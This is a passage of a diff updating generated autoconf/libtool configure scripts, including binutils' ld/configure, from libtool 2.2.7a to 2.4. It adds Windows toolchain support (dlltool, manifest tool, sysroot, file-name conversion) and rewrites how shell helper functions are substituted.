- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -14422,6 +15119,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -14536,12 +15236,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -14628,9 +15328,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -14646,6 +15343,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -14678,210 +15378,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/ld/configure b/ld/configure
-index bc09e7ef81..43c391c2b3 100755
---- a/ld/configure
-+++ b/ld/configure
-@@ -687,8 +687,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -815,6 +818,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1507,6 +1511,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-lib-path=dir1:dir2... set default LIB_PATH
- --with-sysroot=DIR Search for usr/lib et al within DIR.
-
-@@ -5959,8 +5965,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -6000,7 +6006,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6686,8 +6692,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6736,6 +6742,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6752,6 +6832,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6920,7 +7005,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -7074,6 +7160,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -7089,9 +7190,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -7107,7 +7361,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -7127,11 +7381,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -7147,7 +7405,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -7166,6 +7424,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -7177,12 +7439,12 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-
-
-
-@@ -7192,6 +7454,62 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
